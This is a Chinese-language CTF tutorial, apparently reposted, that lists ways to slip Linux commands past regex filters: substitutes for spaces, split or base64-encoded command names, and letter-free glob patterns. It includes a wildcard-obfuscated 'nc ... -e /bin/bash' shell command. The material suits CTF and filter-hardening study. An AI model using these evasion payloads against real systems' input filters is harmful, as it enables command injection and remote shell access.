linux命令繞過


前言:

做ctf時常常會遇到一些正則匹配將一些linux命令給過濾掉,這里將總結一些針對性的繞過方式。

一、空格繞過:

  {cat,flag.txt}
  cat${IFS}flag.txt
  cat$IFS$9flag.txt
  cat<flag.txt
  cat<>flag.txt

  kg=$'\x20flag.txt'&&cat$kg
  (\x20轉換成字符串就是空格,這里通過變量的方式巧妙繞過)

二、敏感字符繞過:

假設過濾了cat

1.利用變量繞過:

ac;b=at;$a$b

2.利用base編碼繞過

`echo 'Y2F0Cg==' | base64 -d` test.txt

3.連接符截斷繞過:

 c'a't test.txt
 c\at test.txt
 ca$@t test.txt

三、通配符繞過

?在linux里面可以進行代替一個任意字符:

/???/[l-n]s     可替代ls
/???/c?t test.txt  可替代cat test.txt

*在linux里面可以代替任意個任意字符:

ls *.php 列出當前目錄下所有php文件

無字母數字匹配:

如果我們遇到一個正則將字母數字$這些都過濾掉,要我們執行一個腳本的話.
假如腳本名稱為chakdiD且在根目錄/etc下,我們可以用:

. /???/???????[@-[]
[@-[]表示取從@到[之間的字符,這之間的字符都為大寫字母。這樣就實現了無字母數字匹配的命令,就可以繞過正則了。

給一個匹配表:

字符 解釋

*

匹配任意長度任意字符

?

匹配任意單個字符

[list]

匹配指定范圍內(list)任意單個字符,也可以是單個字符組成的集合

[^list]

匹配指定范圍外的任意單個字符或字符集合

[!list]

同[^list]

{str1,str2,…}

匹配 srt1 或者 srt2 或者更多字符串,也可以是集合

幾個例子:

 /???/[:lower:]s
 /?s?/???/[n]c 2130706433 8888 -e /???/b??h
  ls {/ru,/tmp}n

 

字符匹配表參考:https://www.secpulse.com/archives/96374.html

參考大佬的通配符利用:https://www.freebuf.com/articles/web/186298.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM